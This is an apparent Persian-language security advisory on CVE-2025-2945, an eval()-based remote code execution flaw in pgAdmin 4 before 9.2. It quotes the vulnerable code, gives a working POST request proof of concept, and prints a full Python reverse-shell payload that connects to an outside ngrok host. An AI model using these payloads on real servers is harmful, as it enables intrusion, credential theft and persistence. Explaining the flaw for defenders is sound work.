آسیب پذیری بحرانی RCE در pgAdmin4

آسیب پذیری با شناسه ی CVE-2025-2945 در pgAdmin 4 گزارش و اصلاح شده که امکان اجرای کد دلخواه رو به مهاجم میده.

pgAdmin یک ابزار متن‌باز برای مدیریت دیتابیس PostgreSQL هستش که به کاربران اجازه میده تا جداول، کوئریها و تنظیمات دیتابیس رو از طریق یک رابط کاربری گرافیکی مدیریت کنن. نسخه‌ های اولیه pgAdmin بصورت برنامه دسکتاپی بودن و با زبانهایی مثل ++C نوشته شده بودن.

pgAdmin 4 نسل جدید این ابزار است که از نسخه‌های قبلی کاملاً متمایزه. برخلاف نسخه‌های قبلی، pgAdmin 4 بصورت یک برنامه تحت وب طراحی شده. این یعنی با یک سرور محلی یا راه دور اجرا میشه و از طریق مرورگر وب قابل دسترس هستش.

pgAdmin 4 با استفاده از پایتون (برای بک‌اند) و جاوااسکریپت (برای فرانت‌اند) نوشته شده و میشه اونو بصورت مستقل روی دسکتاپ یا بصورت سرور در شبکه نصب کرد.

آسیب پذیری CVE-2025-2945 از نوع Code Injection هستش و امتیاز 10 و شدت بحرانی داره. برای اکسپلویت، یک کاربر احراز هویت‌ شده باید بتونه یک درخواست POST به سرور pgAdmin ارسال کنه.

نسخه اصلاح شده 9.2 هستش و نسخه های قبل از این نسخه، تحت تاثیر این آسیب پذیری هستن.

آسیب پذیری روی نقاط پایانی زیر هستش:

/sqleditor/query_tool/download</int:trans_id>
/cloud/deploy

علت اصلی آسیب پذیری اینه که ورودی ها به درستی پاکسازی یا اعتبارسنجی نمیشن و به تابع eval ارسال میشن. تابع eval یک تابع در پایتون هستش که یک ورودی رو در قالب رشته میگیره و اونو اجرا میکنه.

کد مربوط به نقطه پایانی /sqleditor/query_tool/download/<int:trans_id> بصورت زیر هستش:

# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgadmin/tools/sqleditor/__init__.py#L2124-L2160

@blueprint.route(
    '/query_tool/download/<int:trans_id>',
    methods=["POST"],
    endpoint='query_tool_download'
)
@pga_login_required
def start_query_download_tool(trans_id):
    (status, error_msg, sync_conn, trans_obj,
     session_obj) = check_transaction_status(trans_id)

    if not status or sync_conn is None or trans_obj is None or 
            session_obj is None:
        return internal_server_error(
            errormsg=TRANSACTION_STATUS_CHECK_FAILED
        )

    data = request.values if request.values else request.get_json(silent=True)
    if data is None:
        return make_json_response(
            status=410,
            success=0,
            errormsg=gettext(
                "Could not find the required parameter (query)."
            )
        )

    try:
        sql = None
        query_commited = data.get('query_commited', False)
        # Iterate through CombinedMultiDict to find query.
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
                    eval(value) if isinstance(value, str) else value # vuln code
                )

همونطور که در کد قابل مشاهده هستش، پارامتر query_committed که از نوع رشته هستش، بصورت مستقیم در تابع eval قرار میگیره. بنابراین اگه مهاجم درخواست زیر رو ارسال کنه، میتونه کد دلخواه رو روی سرور اجرا کنه:

POST /sqleditor/query_tool/download/9907078 HTTP/1.1
Host: localhost:8088
Content-Type: application/json

{
    "query": "SELECT 1;",
    "query_commited": "open('/tmp/pyozzi-poc', 'w')"
}

آسیب پذیری اجرای کد در pgAdmin CVE-2025-2945

همونطور که مشاهده میکنید، مهاجم میتونه کد دلخواه پایتونی رو با درخواست POST اجرا کنه.

کد مربوط به نقطه پایانی /cloud/deploy رو در زیر مشاهده میکنید:

# https://github.com/pgadmin-org/pgadmin4/blob/REL-9_1/web/pgacloud/providers/google.py#L140

def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
        high_availability = 
            'REGIONAL' if eval(args.high_availability) else 'ZONAL' # vuln code

        db_password = self._database_password 
            if self._database_password is not None else args.db_password

        ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
        authorized_networks = self.get_authorized_network_list(ip)

        database_instance_body = {
            'databaseVersion': args.db_version,
            'instanceType': 'CLOUD_SQL_INSTANCE',
            'project': args.project,
            'name': args.name,
            'region': args.region,
            'gceZone': args.availability_zone,
            'secondaryGceZone': args.secondary_availability_zone,
            "rootPassword": db_password,
            'settings': {
                'tier': args.instance_type,
                'availabilityType': high_availability,
                'dataDiskType': args.storage_type,
                'dataDiskSizeGb': args.storage_size,
                'ipConfiguration': {
                    "authorizedNetworks": authorized_networks,
                    'ipv4Enabled': True
                },
            }
        }

در این نقطه پایانی هم پارامتر high_availability به تابع eval ارسال میشه. مهاجم میتونه با ارسال کد زیر، یک Reverse Shell بگیره:

exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",17477));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])')

این Reverse Shell با امتیاز پروسس pgAdmin اجرا میشه. (مشاهده دمو در یوتیوب)

با توجه به ویژگی های آسیب پذیری، مهاجم میتونه کارهای زیر انجام بده:

  • دسترسی و دستکاری داده های دیتابیس
  • حرکت جانبی: مهاجم با دسترسی به سرور، میتونه شبکه داخلی رو برای یافتن و هک سایر سیستم ها اسکن کنه.
  • مهاجم میتونه اطلاعات حساس مانند اعتبارنامه ها، فایلهای کانفیگ، API و … رو استخراج کنه.
  • اگه پروسس pgAdmin با امتیاز بالا اجرا بشه، مهاجم میتونه با سایر آسیب پذیری ها، امتیاز خودش رو به ROOT افزایش بده.
  • پرسیست (Persistence): مهاجم میتونه بکدور نصب کنه، scheduled task ایجاد کنه یا اسکریپتهای startup رو برای دسترسی طولانی مدت دستکاری کنه.

نکته ی جالب اینه که، py0zz1 که این باگ رو گزارش داده، گفته که وقتی آسیب پذیری رو پیدا کرده، متوجه نشده که چرا در این کد از تابع eval استفاده شده چون بدون اون هم میشد منطق کد رو پیاده سازی کرد.

آسیب پذیری 16 مارس گزارش شده و در 3 آوریل نسخه ی اصلاح شده، در اختیار عموم قرار گرفته.

اگه در موتور جستجوی FOFA دنبال pgAdmin 4 باشیم، حدود 42 هزار مورد رو میاره که سهم ایران 449 مورد هستش. (البته داده ها خام هستن و نسخه رو در نظر نگرفتیم.) (لیست موتورهای جستجو مختص امنیت سایبری)

نتایج fofa برای rce-pgAdmin-CVE-2025-2945

نوشته های مشابه